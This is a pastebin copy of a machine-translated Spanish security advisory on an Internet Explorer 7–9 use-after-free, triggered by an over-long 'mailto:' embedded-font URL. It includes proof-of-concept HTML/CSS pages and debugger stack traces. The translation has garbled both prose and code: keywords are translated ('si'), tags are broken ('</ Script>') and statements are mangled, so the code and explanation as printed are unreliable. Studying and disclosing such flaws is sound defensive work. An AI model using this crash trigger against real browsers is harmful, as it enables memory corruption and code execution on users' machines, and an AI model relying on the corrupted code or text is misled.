Advertisement
YeiZeta

Internet Explorer Script Interjection Code Execution

Sep 29th, 2012
479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.46 KB | None | 0 0
  1. Internet Explorer Script Interjección Código de Ejecución
  2.  
  3. Derek Soeder
  4. ds.adv.pub @ gmail.com
  5.  
  6. Reportado: 26 de enero de 2012, a SecuriTeam Secure Disclosure
  7.                 http://www.beyondsecurity.com/ssd.html
  8. Publicado: Agosto 16, 2012 (actualizado 06 de septiembre 2012)
  9.  
  10.  
  11. Proveedor afectado
  12. ---------------
  13. Microsoft Corporation
  14.  
  15.  
  16. ENTORNOS AFECTADOS
  17. ---------------------
  18. Internet Explorer 7.0 en Windows XP y Windows Vista
  19. Internet Explorer 8.0 en Windows XP, Windows Vista y Windows 7
  20. Internet Explorer 9.0.0 a través de 9.0.8 (MS12-044) en Windows Vista y Windows 7
  21. Otras versiones de Internet Explorer no se han probado.
  22.  
  23.  
  24. ENTORNOS no afectados
  25. -----------------------
  26. Internet Explorer con MS12-052 revisión aplicada
  27.  
  28.  
  29. IMPACTO
  30. ------
  31. La vulnerabilidad descrita en este documento puede ser explotada por un
  32. página Web maliciosos para ejecutar código arbitrario con integridad baja.
  33. Active scripting debe estar habilitado y la explotación presente
  34. técnicas requieren que la descarga de fuente se ajusta en "Activar" o
  35. "Preguntar" y que la "mailto:" protocolo de estar presente. (Estos
  36. requisitos se cumplen por defecto en Windows XP, Windows Vista,
  37. y Windows 7.) El usuario se presenta con un cuadro de mensaje que debe
  38. ser despedido antes de la ejecución de código puede ocurrir.
  39.  
  40.  
  41. Detalles de la vulnerabilidad
  42. ---------------------
  43. Procesamiento de eventos en Internet Explorer suele ser impulsada por
  44. mensajes de ventana originarios tanto externamente (por ejemplo, debido a usuario
  45. entrada o solicitudes de pintura) e internamente. Como con todos los mensajes de ventana,
  46. estos mensajes son recuperados de la cola de mensajes del subproceso actual
  47. por un bucle de mensajes, el cual envía cada mensaje a una ventana
  48. procedimiento. El procedimiento de ventana, a su vez, invoca el código para controlar
  49. evento asociado en función del tipo de mensaje de ventana. Si el evento
  50. código de control se puede hacer para mostrar un cuadro de mensaje o diálogo o
  51. de lo contrario entrará en un bucle de mensajes, luego otro mensaje de la ventana en relación
  52. a un evento separado, segundo pueden ser enviados durante este "apilados",
  53. bucle segundo mensaje, es decir, el segundo evento será procesado antes
  54. el evento original ha sido totalmente manejado. Procesamiento de la original
  55. evento continúa hasta después de la segunda bucle de mensajes ha finalizado (es decir,
  56. cuando el cuadro de diálogo de mensaje que se muestra o se cierra). Si el evento segundo
  57. código de manejo puede causar el estado del programa para convertirse en inconsistente
  58. con las expectativas del código de control de eventos primero - por ejemplo, por
  59. destruyendo objetos referenciados en variables locales para el primer evento
  60. código de manejo - entonces debería ser posible producir daños en la memoria
  61. que puede ser explotada para lograr la ejecución de código arbitrario.
  62.  
  63. Una variedad de eventos puede dar lugar script que se ejecuta durante el evento
  64. controlador de código. Aunque es sencillo de script para mostrar un mensaje
  65. caja o cuadro de diálogo y de ese modo entrar en un bucle de mensajes (por ejemplo, utilizando
  66. window.alert, window.prompt, o bajo window.clipboardData.getData
  67. configuración de seguridad predeterminada), hasta el momento no parece que un
  68. interrumpir, segundo controlador de eventos se puede hacer nada para alterar
  69. programa de estado de una manera que el primer controlador de eventos no se
  70. acomodar. Esto es comprensible, ya que script debe ser capaz de
  71. manejar otro script corriendo en cualquier momento y tener efectos arbitrarios
  72. el estado del programa. Objetos accesibles a la escritura debe estar debidamente
  73. referencia contado y recogida de basura, y lo haría con cualquier excepción
  74. constituyen una vulnerabilidad separado que probablemente podría ser explotada
  75. sin el uso de la falla se describe en este documento.
  76.  
  77. En algunos casos, también es posible hacer MSHTML.DLL introducir un mensaje
  78. bucle durante la manipulación de un evento de presentación de la página (en oposición a un evento
  79. intención de ejecutar secuencias de comandos). Por un lado, MSHTML! CMarkup :: ProcessUrlAction *
  80. se utiliza para comprobar una variedad de opciones de seguridad durante la página
  81. descarga y procesamiento, lo que llama a la función
  82. URLMON! ProcessUrlAction *, que puede mostrar un cuadro de diálogo si la consulta
  83. acción ajuste se establece en "Preguntar". Desafortunadamente, la mayoría de los
  84. la configuración de seguridad por defecto para que provocó que se manejan a través de
  85. la banda de seguridad de color amarillo o barra de notificaciones en lugar de un cuadro de diálogo.
  86.  
  87. Otras vías para llegar a un bucle de mensajes pueden ser descubiertos por
  88. dando marcha atrás de funciones tales como DispatchMessageW, MessageBoxW y
  89. DialogBoxParamW. Una llamada a la función de interés particular es una llamada
  90. a MessageBoxW encontrado en
  91. MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError. Era
  92. descubrió que, si Internet Explorer intenta descargar un muy largo
  93. (Aproximadamente 2030 caracteres) "mailto:" URL,
  94. CMailtoProtocol :: RunMailClient se producirá un error y llame
  95. CMailtoProtocol :: DisplayMailClientNotFoundError para mostrar un mensaje
  96. caja, con lo que entrar en un bucle de mensajes. (El mensaje dice: "No se ha podido
  97. realizar esta operación porque el cliente de correo predeterminado no está correctamente
  98. instalado. ") Además, se encontró que cuando se muestra este mensaje
  99. caja, mientras que la descarga de una fuente incorporada (mediante la especificación de un largo "mailto:"
  100. URL para la fuente del "src" propiedad) dará lugar a las referencias a
  101. objetos dirigibles restantes en la pila hasta que el mensaje es
  102. cerrada. Por lo tanto, una página web puede explotar esta vulnerabilidad mediante la declaración
  103. una fuente incorporada con un largo "mailto:" URL de origen y la garantía de que un
  104. evento que destruye y reemplaza los objetos dirigibles se produce mientras el
  105. cuadro de mensaje está abierto. Aunque los detalles de la targetable
  106. los objetos son Internet Explorer versión-dependiente, la explotación debe
  107. generalmente proceda como típico para un Internet Explorer use-after-free
  108. vulnerabilidad.
  109.  
  110. Eventos
  111.  
  112. La complejidad más importante de esta vulnerabilidad es la comprensión
  113. Manejo de Internet Explorer evento. Como se mencionó anteriormente, el evento
  114. manipulación se basa en el procesamiento de mensajes de ventana. Algunos ventana
  115. mensajes pueden surgir a partir de la entrada del usuario (como el teclado y el ratón
  116. mensajes), mientras que otros pueden ser generados por el sistema operativo (tal
  117. como la pintura y los mensajes de cambio de tamaño), pero la mayoría de los mensajes de señalización de eventos son
  118. interally generado por Internet Explorer. Estos mensajes utilizan una
  119. valor de identificador de mensaje 0x8002 y se generan cuando un método "
  120. llamada "se añade a una cola mantenida en almacenamiento local de subprocesos (TLS), si
  121. la cola está vacía. Una llamada al método es simplemente un puntero de función y
  122. datos asociados que representan a una devolución de llamada que se invoca el evento
  123. manejo de mensajes loop (bucle de mensajes o cualquier otro). Las llamadas a métodos son
  124. en cola utilizando MSHTML! _GWPostMethodCallEx y manejados por
  125. MSHTML! GlobalWndOnMethodCall, que la MSHTML! Ventana GlobalWndProc
  126. procedimiento llama en respuesta a un mensaje de 0x8002.
  127.  
  128. Es importante observar que un mensaje 0x8002 sólo se publicarán si
  129. la cola de llamadas método está vacío y si un mensaje no es 0x8002
  130. pendiente (en trámite o en espera de ser procesado). Por lo tanto,
  131. posiblemente con una pequeña excepción, una 0x8002 segundo mensaje no puede ser
  132. mientras que una pendiente 0x8002 primer mensaje se está procesando, lo que significa un
  133. segundo método de llamada basada en eventos no pueden ser manejados mientras que un primer método
  134. evento de llamada basada está siendo manejado, incluso si el primero entra en un mensaje
  135. bucle. Cuando explotando la vulnerabilidad, un acontecimiento puede estar basada en una
  136. llamada al método, pero el otro debe corresponder a la entrada del usuario o algún otro
  137. tipo de mensaje.
  138.  
  139. Aunque el diseño de una página Web para provocar un mensaje de entrada del usuario sin
  140. interacción del usuario no es difícil, Internet Explorer 9 ofrece otra
  141. posibilidad de introducir eventos asíncronos. Si una página Web es
  142. visto en IE9 modo estándar, ciertos eventos (por ejemplo,
  143. body.onfocus) en lugar será mediado por mensajes con un identificador
  144. valor de 0x8003, que se generan a través
  145. MSHTML CEventMgr :: QueueAsyncEvent ->
  146. MSHTML! CAsyncEventQueue :: QueueEvent y procesados ​​cuando GlobalWndProc
  147. llama MSHTML! CAsyncEventQueue :: DispatchAllEvents. Si el asíncrona
  148. código de control de eventos entra en un bucle de mensajes, un mensaje podría 0x8002
  149. ser enviados y causar cualquier método las llamadas en cola para ser procesados.
  150.  
  151. Ejemplo (Internet Explorer 7 y 8)
  152.  
  153. Un ejemplo sencillo de cómo reproducir esta vulnerabilidad en Internet
  154. Explorer versiones 7 y 8 siguientes. Una página Web contiene un estilo vacío
  155. vínculo de hoja, un cuerpo con un controlador "onmouseover" evento, y un guión
  156. elemento que crea un elemento nuevo guión y le asigna un
  157. "Onreadystatechange" event handler. El cuerpo también tiene un estilo que se
  158. especifica un valor de altura grande, de modo que el área del cuerpo ocupará el
  159. altura completa, así como el ancho de la ventana del navegador. El siguiente
  160. HTML ilustra:
  161.  
  162.   <html>
  163.     <head>
  164.       <script>
  165.         var s = document.createElement ("script");
  166.         s.src = "slow.js";
  167.         s.onreadystatechange = function ()
  168.           {
  169.             si (== this.readyState "cargado")
  170.             {
  171.               document.styleSheets [0] = null cssText.;
  172.             }
  173.           };
  174.         var o = document.getElementsByTagName ("script") [0];
  175.         o.parentNode.insertBefore (s, o);
  176.       </ Script>
  177.       <link rel="stylesheet" href=""> </ link>
  178.     </ Head>
  179.     Estilo <body = "Altura: 9999px;"
  180. onmouseover = "document.styleSheets [0] href = 'MyFont.css». ">
  181.     </ Body>
  182.   </ Html>
  183.  
  184. La respuesta a la solicitud de "slow.js" pueden devolver cualquier cosa - o
  185. nada - siempre y cuando se tarda más en completarse que hace la solicitud
  186. para "MyFont.css". El objetivo es que el elemento de script nuevo
  187. "Onreadystatechange" controlador de eventos después de ejecutar la hoja de estilo tiene
  188. cargado. "MyFont.css" consiste en lo siguiente CSS:
  189.  
  190.   @ Font-face
  191.   {
  192.     font-family: "MyFont";
  193.     src: url (mailto: xxx <... aproximadamente 2.020 caracteres eliminados ...> xxx);
  194.   }
  195.  
  196. Cuando se carga la página Web, la presencia del cursor del ratón sobre el
  197. ventana hace MSHTML! cserver :: WndProc de una ventana de ratón
  198. mensaje, que pasa a MSHTML CDOC :: OnWindowMessage ->
  199. MSHTML! CDOC :: OnMouseMessage. Más arriba en la pila de llamadas, el script de
  200. del cuerpo "onmouseover" corrimiento de control de eventos, establecer el estilo vacío
  201. vínculo de hoja de atributo "href" cargar "MyFont.css". Cuando el CSS
  202. definir el "MyFont" fuente incorporada se analiza, la larga "mailto:" URL
  203. finalmente resultará en
  204. CMailtoProtocol :: DisplayMailClientNotFoundError mostrar un error
  205. cuadro de mensaje, haciendo una pausa la ejecución de ese hilo, excepto para procesar ventana
  206. mensajes. Usando el "onmouseover" controlador de eventos para este fin
  207. se asegura de que el cuadro de mensaje aparece durante el procesamiento de un usuario
  208. entrada de mensaje de ventana, en lugar de durante el procesamiento de una llamada de método
  209. (0x8002) La ventana de mensajes, lo que deja la llamada al método disponible avenida
  210. para el segundo evento.
  211.  
  212. Mientras que el cuadro de mensaje muestra, nuestro servidor ataque completa su
  213. intencionalmente retrasado respuesta a la solicitud de "slow.js", causando
  214. el cliente a la cola de una llamada a un método que se ejecutará el nuevo guión
  215. elemento "onreadystatechange" event handler. Debido a que una llamada de método
  216. (Mensaje 0x8002) no se encuentra en trámite - el evento de ser
  217. procesado se originó en cambio, como un mensaje de ventana ratón - esto significa que el
  218. hilo responsable de la descarga "slow.js" es libre de publicar un mensaje
  219. 0x8002 después de que las colas de la llamada al método. El mensaje de la ventana y luego se
  220. remitido por el bucle de mensajes que impulsa el cuadro de mensaje de error,
  221. haciendo que el "onreadystatechange" controlador de eventos para correr. En este
  222. ejemplo, los pisones de controlador de eventos con el objeto que representa el
  223. hoja de estilo, que seguía siendo interpretado en el momento del mensaje
  224. caja estaba mostrando. La alteración provoca un accidente una vez que el mensaje
  225. Se cierra el cuadro y la interpretación de la hoja de estilo se le permite
  226. continuar.
  227.  
  228. Ejemplo (Internet Explorer 9)
  229.  
  230. Ahora un ejemplo simple específico de Internet Explorer 9 se presenta. La
  231. La página web contiene un cuerpo con un controlador "onfocus" evento, un estilo
  232. hoja de definir una fuente incorporada y una clase que utiliza, un "div"
  233. elemento de la clase definida, y un elemento de secuencia de comandos que crea un nuevo
  234. guión elemento y se le asigna un "onreadystatechange" controlador de eventos.
  235. El documento comienza con un "DOCTYPE" declaración que asegura que
  236. la página se hizo en IE9 modo estándar. El código HTML siguiente
  237. ilustra:
  238.  
  239.   <DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN"
  240. "Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  241.   <html>
  242.     <head>
  243.       <style>
  244.         @ Font-face
  245.         {
  246.           font-family: "MyFont";
  247.           src: url (mailto: xxx <... aproximadamente 2.020 caracteres
  248. eliminado ...> xxx);
  249.         }
  250.  
  251.         . MyFontClass
  252.         {
  253.           font-family: "MyFont";
  254.         }
  255.       </ Style>
  256.       <script>
  257.         var s = document.createElement ("script");
  258.         s.src = "slow.js";
  259.         s.onreadystatechange = function ()
  260.           {
  261.             si (== this.readyState "cargado")
  262.             {
  263.               var d = document.getElementById ("myDiv");
  264.               d.parentNode.removeChild (d);
  265.             }
  266.           };
  267.         document.appendChild (s);
  268.       </ Script>
  269.     </ Head>
  270.     onfocus="document.getElementById('MyDiv').className <body ='MyFontClass';">
  271.       <div id="MyDiv"> </ div>
  272.     </ Body>
  273.   </ Html>
  274.  
  275. En IE9 modo estándar, las fuentes incrustadas no se descargan hasta que estén
  276. necesario para representar la página, lo que significa que la fuente incrustada es largo
  277. "Mailto:" URL es interpretado - y por lo tanto es el cuadro de mensaje de error
  278. muestra - Cuando el cuerpo "onfocus" activa el evento. Porque
  279. body.onfocus se maneja en IE9 modo estándar como un evento asíncrono
  280. (Mensaje 0x8003), las llamadas de método (mensaje 0x8002) siguen siendo libres para ser
  281. enviado, mientras que el cuadro de mensaje bucle de mensajes se encuentra en la pila de llamadas.
  282. En este ejemplo, se espera que "slow.js" para terminar la descarga después de
  283. body.onfocus dispara y hace que el cuadro de mensaje de error. La
  284. código en IE que gestiona la descarga de una cola
  285. "Onreadystatechange" método de llamada para el guión, que será
  286. enviado por el bucle de mensajes de buzón de mensajes, lo que permite a nuestro Javascript
  287. ejecutar. Desde IE9 accesos fuentes incrustadas en la demanda, no habrá
  288. referencias a objetos diferentes en la pila debajo del cuadro de mensaje
  289. bucle de mensajes, por lo que si nuestros pisones JavaScript con estos objetos, un choque
  290. dará como resultado una vez que el cuadro de mensaje se cierra.
  291.  
  292. Tutorial
  293.  
  294. Para ayudar a proporcionar una comprensión visual de la vulnerabilidad, una
  295. tutorial cronológico de la caída de Internet Explorer ejemplo 9 es
  296. aquí se presenta. Siguiendo a lo largo en el ejemplo se recomienda. La
  297. símbolos que se muestran corresponden a Internet Explorer 9.0.3 en Windows 7 SP1
  298. x 86, con la versión 9.0.8112.16437 MSHTML.DLL cargado en 6D1C0000 y
  299. montón de la página habilitada.
  300.  
  301. Cuando la página se está cargando ejemplo, un byte 0x54 CTreePos instancia de la clase
  302. se asigna en el montón: (Este ejemplo CTreePos serán liberados y
  303. su memoria reutilizado más adelante.)
  304.  
  305.   77365ae0 ntdll! RtlAllocateHeap 0 x0000023a
  306.   6d423fe1 MSHTML! CHtmRootParseCtx :: BeginElement 0 x00000035
  307.   6d51b14b MSHTML! CHtmTextParseCtx :: BeginElement 0 x000000a1
  308.   6d4245a0 MSHTML! CHtmParse :: BeginElement 0 x00000151
  309.   6d4269aa MSHTML! CHtmParse :: ParseBeginTag 0 x00000199
  310.   6d422422 MSHTML! CHtmParse :: ParseToken 0 x00000100
  311.   6d42292a MSHTML! CHtmPost :: Exec 0 x00000233
  312.   6d427a10 MSHTML! CHtmPost :: Run 0 x00000041
  313.   6d42793c MSHTML! PostManExecute 0 x000001a3
  314.   6d4278a1 MSHTML! PostManResume 0 x000000dd
  315.   6d427801 MSHTML! CHtmPost :: OnDwnChanCallback 0 x00000010
  316.   6d40b4d5 MSHTML! CDwnChan :: OnMethodCall 0 x0000001f
  317.   6d5a9d09 MSHTML! GlobalWndOnMethodCall 0 x00000115
  318.   6d5c9368 MSHTML! GlobalWndProc 0 x00000302
  319.   7748c4e7 USER32! InternalCallWinProc 0 x00000023
  320.   7748c5e7 USER32! UserCallWinProcCheckWow 0 x0000014b
  321.   7748cc19 USER32! DispatchMessageWorker 0 x0000035e
  322.   7748cc70 USER32! DispatchMessageW 0 x0000000f
  323.   6e8e1b44 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x00000722
  324.   6e901a16 Ieframe! LCIETab_ThreadProc 0 x00000317
  325.   759315b0 Iertutil! CIsoScope :: RegisterThread 0 x000000ab
  326.   6e8efd5b Ieframe! Detour_DefWindowProcA 0 x0000006c
  327.   75c4ed6c kernel32! BaseThreadInitThunk 0 x0000000e
  328.   773737f5 ntdll! __RtlUserThreadStart 0 x00000070
  329.   773737c8 ntdll! _RtlUserThreadStart 0 x0000001b
  330.  
  331. A continuación, Javascript de la página se ejecuta, creando un elemento nuevo guión
  332. con una fuente de "slow.js". La idea es que el servidor web
  333. intencionalmente aplazar servir a este archivo por un segundo o dos. Esta
  334. organiza una "onreadystatechange" evento para disparar después de la demora
  335. transcurre.
  336.  
  337. Una vez que la página termine de cargar (pero antes de que haya transcurrido el retardo), el
  338. "Body.onfocus" activa el evento. Debido a que el documento está en IE9 normas
  339. modo, "body.onfocus" se pondrán en cola como un evento asíncrono, es decir,
  340. que será mediado por 0x8003 ventana de mensaje. El "body.onfocus"
  341. controlador de eventos cambia una clase "div" elemento de una clase que utiliza un
  342. fuente incorporada. Esto obliga a Internet Explorer intenta descargar
  343. la fuente, que falle debido a la larga "mailto:" URL. Fundamentalmente, el
  344. fallo provoca un "mailto" específica cuadro de mensaje que se muestra, lo que
  345. entra en un bucle de nuevo, el mensaje de la parte superior durante el mensaje original, inferior
  346. manipulación del bucle del mensaje 0x8003 ventana asociada con la
  347. "Body.onfocus" del evento. La pila de llamadas, de arriba a abajo, ahora se ve
  348. de esta manera:
  349.  
  350.   774a382a USER32! NtUserWaitMessage 0 xc
  351.   774a3b27 USER32! DialogBox2 0 x207
  352.   774ce0d5 USER32! InternalDialogBox 0 xcb
  353.   774ce659 USER32! SoftModalMessageBox 0 x68a
  354.   774ce78c USER32! MessageBoxWorker 0 x2ca
  355.   774cea08 USER32! MessageBoxTimeoutW 0 x7f
  356.   6ea15e86 USER32! MessageBoxExW 0 x1b
  357.   774ceaa4 Ieframe! Detour_MessageBoxExW 0 x47
  358.   6db3ac94 USER32! MessageBoxW 0 x45
  359.   6db3aaf1 MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError 0 x10b
  360.   6db3a2cc MSHTML! CMailtoProtocol :: RunMailClient 0 x12e
  361.   6db39def MSHTML! CMailtoProtocol :: ParseAndBind 0 x8b
  362.   76ab1c0b MSHTML! CMailtoProtocol :: Start 0 xcd
  363.   76a98fb3 URLMON! COInetProt :: STARTEX 0 xf0
  364.   76a9a31f URLMON! CTransaction :: STARTEX 0 x40b
  365.   76a8386c URLMON! CBinding :: StartBinding 0 x883
  366.   6d438507! URLMON nuevo operador 0 x20
  367.   6d4383ed MSHTML! CTridentFilterHost :: BindToMoniker 0 xe4
  368.   6d4216f3 MSHTML! CDwnBindData :: Bind 0 x722
  369.   6d42153b MSHTML! NewDwnBindData 0 x189
  370.   6d20c107 MSHTML! CDwnLoad :: Init 0 x25c
  371.   6d5c1f27 MSHTML! CBitsLoad :: Init +0 x52
  372.   6d421279 MSHTML! CDwnInfo :: SetLoad 0 x11e
  373.   6d451257 MSHTML! CDwnInfo :: AddDwnCtx 0 x67
  374.   6d42c695 MSHTML! CDOC :: NewDwnCtx2 0 x30a
  375.   6d953c33 MSHTML! CDOC :: NewDwnCtx 0 X5b
  376.   6d956222 MSHTML! CEmbeddedFontFace :: EnsureStartDownload 0 x120
  377.   6d955aee MSHTML! CFontFace :: CFontFaceSrc :: EnsureStartDownload 0 x8a
  378.   6d682c20 MSHTML! CFontFace :: AddToFamily 0 x18c
  379.   6d52ceb2 MSHTML! CStyleSheetArray :: BuildFontFaceRuleFamily 0 x58
  380.   6d52cd28 MSHTML! ApplyClear 0 x113
  381.   6d51bc41 MSHTML! ApplyFontFace 0 x1d4
  382.   6d40e103 MSHTML! ApplyFormatInfoProperty 0 x33bf
  383.   6d40e424 MSHTML! ApplyAttrArrayValues ​​0 x2bd
  384.   6d5b5344 MSHTML! CStyleSheetArray :: Aplicar 0 x34a
  385.   6d47bad8 MSHTML! CMarkup :: ApplyStyleSheets 0 X6A
  386.   6d47b89e MSHTML! CElement :: ApplyStyleSheets 0 x4a2
  387.   6d4cddff MSHTML! CElement :: ApplyDefaultFormat 0 x8b
  388.   6d47b5a0 MSHTML! CBlockElement :: ApplyDefaultFormat 0 x379
  389.   6d47a5a3 MSHTML! CElement :: ComputeFormatsVirtual 0 x1a1e
  390.   6d47a4d6 MSHTML! CElement :: ComputeFormats 0 xe1
  391.   6d47bd39 MSHTML! CTreeNode :: ComputeFormats 0 Xba
  392.   6d482d33 MSHTML! CTreeNode :: ComputeFormatsHelper 0 x40
  393.   6d360862 MSHTML! CTreeNode :: GetFancyFormat 0 x32
  394.   6d2d910f MSHTML! CElement :: UpdateFormats 0 X426
  395.   6d4ce10f MSHTML! CControlledFormatter :: Init 0 XCC
  396.   6d47fa14 MSHTML! CElement :: OnPropertyChangeInternal 0 x3fa
  397.   6d49b76b MSHTML! CElement :: OnPropertyChange 0 x1b
  398.   6d2da8db MSHTML! BASICPROPPARAMS :: SetStringProperty 0 x36a
  399.   6d0084d6 MSHTML! CFastDOM :: CHTMLElement :: Trampoline_Set_className 0 x61
  400.   6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  401.   6d0cc968 JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
  402.   6d009a85 JSCRIPT9! Js :: JavascriptOperators :: DefinirPropiedad 0 x8c
  403.   6d009a2c JSCRIPT9! Js :: JavascriptOperators :: OP_SetProperty 0 x59
  404.   039507b8 JSCRIPT9! Js :: JavascriptOperators :: PatchPutValueNoLocalFastPath 0 XBC
  405.   6d0084d6 0x39507b8
  406.   6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  407.   6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  408.   6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  409.   6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  410.   6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  411.   6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  412.   6d54ce40 MSHTML! CListenerDispatch :: Invoke 0 x40
  413.   6d44e624 MSHTML! CEventMgr :: _InvokeListeners 0 x187
  414.   6d54cf37 MSHTML! CEventMgr :: _InvokeListenersOnWindow 0 XCC
  415.   6d5db67d MSHTML! CEventMgr :: Despacho 0 X3CC
  416.   6d53ba32 MSHTML! CEventMgr :: DispatchFocusEvent 0 x7d
  417.   6d5e6f74 MSHTML! COmWindowProxy :: Fire_onfocus 0 x84
  418.   6d5e6ff1 MSHTML! CAsyncEventQueue :: DispatchAllEvents 0 x7c
  419.   7748c4e7 MSHTML! GlobalWndProc 0 x2ed
  420.   7748c5e7 USER32! InternalCallWinProc 0 x23
  421.   7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  422.   7748cc70 USER32! DispatchMessageWorker 0 x35e
  423.   6e8e1b44 USER32! DispatchMessageW 0 xf
  424.   6e901a16 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x722
  425.   Ieframe 759315b0! LCIETab_ThreadProc 0 X317
  426.   6e8efd5b Iertutil! CIsoScope :: RegisterThread 0 xab
  427.   75c4ed6c Ieframe! Detour_DefWindowProcA 0 x6c
  428.   773737f5 KERNEL32! BaseThreadInitThunk 0 xe
  429.   773737c8 NTDLL! __RtlUserThreadStart 0 x70
  430.   00000000 NTDLL! _RtlUserThreadStart 0 x1b
  431.  
  432. Mientras el cuadro de mensaje permanece abierta, el bucle de mensaje se
  433. enviar una nueva ventana mediadas por mensajes acontecimientos, y el control no volverá
  434. a lazo mensaje original de Internet Explorer. No importa cual
  435. bucle de mensaje está enviando mensajes, porque la misma ventana
  436. procedimiento se ejecuta en cualquier caso. El único problema es que el
  437. código de abajo en la pila de llamadas se trabaja con objetos diversos montón
  438. (Tales como los CTreePos asignados anterior) antes de introducir el control de la
  439. Llamada MessageBox y se atascó. Ahora bien, si una ventana de mensaje mediada
  440. hecho da lugar a la ejecución de Javascript que modifican y destruyen
  441. los objetos pila, la corrupción se manifiesta como un uso después de liberación, por
  442. ejemplo, puede resultar.
  443.  
  444. Como belabored en la sección Detalles de la vulnerabilidad, no todos los tipos de
  445. evento se pueden "apilar" en cada situación como ésta, pero cierto
  446. diferentes eventos pueden. Un mensaje de la ventana 0x8003 (para "body.onfocus")
  447. se encontraba en trámite durante el bucle de mensajes de fondo, por lo que si una 0x8002
  448. mensaje de la ventana se publica, se procesa durante el mensaje de arriba
  449. loop - y esto es exactamente lo que el ejemplo ha dispuesto a pasar.
  450. Una vez que la demora en el servicio "slow.js" transcurre, una ventana 0x8002
  451. mensaje mediada por evento (denominado como una "llamada de método") correspondiente
  452. para concluir la descarga será publicado y posteriormente tratados
  453. durante el bucle de mensajes de la parte superior. Esta llamada al método ejecuta la creación
  454. elemento de secuencia de comandos "onreadystatechange" event handler, que destruye
  455. la muy "div" elemento que estaba en el proceso de ser mostrada cuando
  456. Internet Explorer intenta descargar la fuente y se atascó en
  457. el cuadro de mensaje. La pila siguiente llamada parcial muestra "removeChild"
  458. ser llamado desde el controlador "onreadystatechange" event:
  459.  
  460.   6d2eb4e3 MSHTML! CElement :: ie9_removeChild
  461.   6d0084d6 MSHTML! CFastDOM :: cNodo :: Trampoline_removeChild 0 X7b
  462.   6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  463.   039501af JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
  464.   6d0084d6 0x39501af
  465.   6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  466.   6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  467.   6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  468.   6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  469.   6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  470.   6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  471.   6d35a726 MSHTML! CListenerDispatch :: Invoke 0 x40
  472.   6d5db834 MSHTML! CEventMgr :: Despacho 0 x537
  473.   6d4a5607 MSHTML! CEventMgr :: dispatchEvent 0 XC9
  474.   6d4a02ff MSHTML! CElement :: Fire_onreadystatechange 0 x99
  475.   6d5a9d09 MSHTML! CScriptElement :: FireOnReadyStateChange 0 x3e
  476.   6d5c9368 MSHTML! GlobalWndOnMethodCall 0 x115
  477.   7748c4e7 MSHTML! GlobalWndProc 0 x302
  478.   7748c5e7 USER32! InternalCallWinProc 0 x23
  479.   7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  480.   7748cc70 USER32! DispatchMessageWorker 0 x35e
  481.   774a38d7 USER32! DispatchMessageW 0 xf
  482.   774a3b27 USER32! DialogBox2 0 x15a
  483.   774ce0d5 USER32! InternalDialogBox 0 xcb
  484.   774ce659 USER32! SoftModalMessageBox 0 x68a
  485.   774ce78c USER32! MessageBoxWorker 0 x2ca
  486.   774cea08 USER32! MessageBoxTimeoutW 0 x7f
  487.   6ea15e86 USER32! MessageBoxExW 0 x1b
  488.   774ceaa4 Ieframe! Detour_MessageBoxExW 0 x47
  489.   6db3ac94 USER32! MessageBoxW 0 x45
  490.   6db3aaf1 MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError 0 x10b
  491.   6db3a2cc MSHTML! CMailtoProtocol :: RunMailClient 0 x12e
  492.   6db39def MSHTML! CMailtoProtocol :: ParseAndBind 0 x8b
  493.   76ab1c0b MSHTML! CMailtoProtocol :: Start 0 xcd
  494.    ...
  495.  
  496. La libre que realmente ocurre en una llamada de método subsiguiente, que es también
  497. la transformación en el bucle de mensajes de mensajes, como se muestra en la
  498. siguiente pila de llamadas parcial:
  499.  
  500.   75c4c3d4 kernel32! HeapFree 0 x00000014
  501.   6d5eebed MSHTML! CTreePos :: Release 0 x00000046
  502.   6d5fdc69 MSHTML! CLayoutBlock :: ~ CLayoutBlock 0 x000000ba
  503.   6d5ff5da MSHTML! CFlexBoxBlock :: `destructor escalar borrar '0 x00000013
  504.   6d559ee9 MSHTML! TSmartPointer <CPtsPelParaclient> :: ~ TSmartPointer <CPtsPelParaclient> 0 x00000014
  505.   6d5da773 MSHTML! HtmlLayout :: SmartDispClient :: Release 0 x00000023
  506.   6d5da5fb MSHTML! HtmlLayout :: FlowBox :: ImplicitDestructor 0 x0000001d
  507.   6d490144 MSHTML! HtmlLayout :: CIE9DocumentLayout :: FormatPage 0 x00000065
  508.   6d48c517 MSHTML! CCssDocumentLayout :: FindOrFormatPage 0 x00000272
  509.   6d4872fb MSHTML! CCssDocumentLayout :: GetPage 0 x00000964
  510.   6d48e06f MSHTML! CMarkupPageLayout :: CalcSize 0 x0000028c
  511.   6d48de82 MSHTML! CMarkupPageLayout :: CalcTopLayoutSize 0 x00000101
  512.   6d48fba1 MSHTML! CMarkupPageLayout :: DoLayout 0 x00000056
  513.   6d47e65a MSHTML! CView :: ExecuteLayoutTasks 0 x00000034
  514.   6d476a85 MSHTML! CView :: EnsureView 0 x000003bf
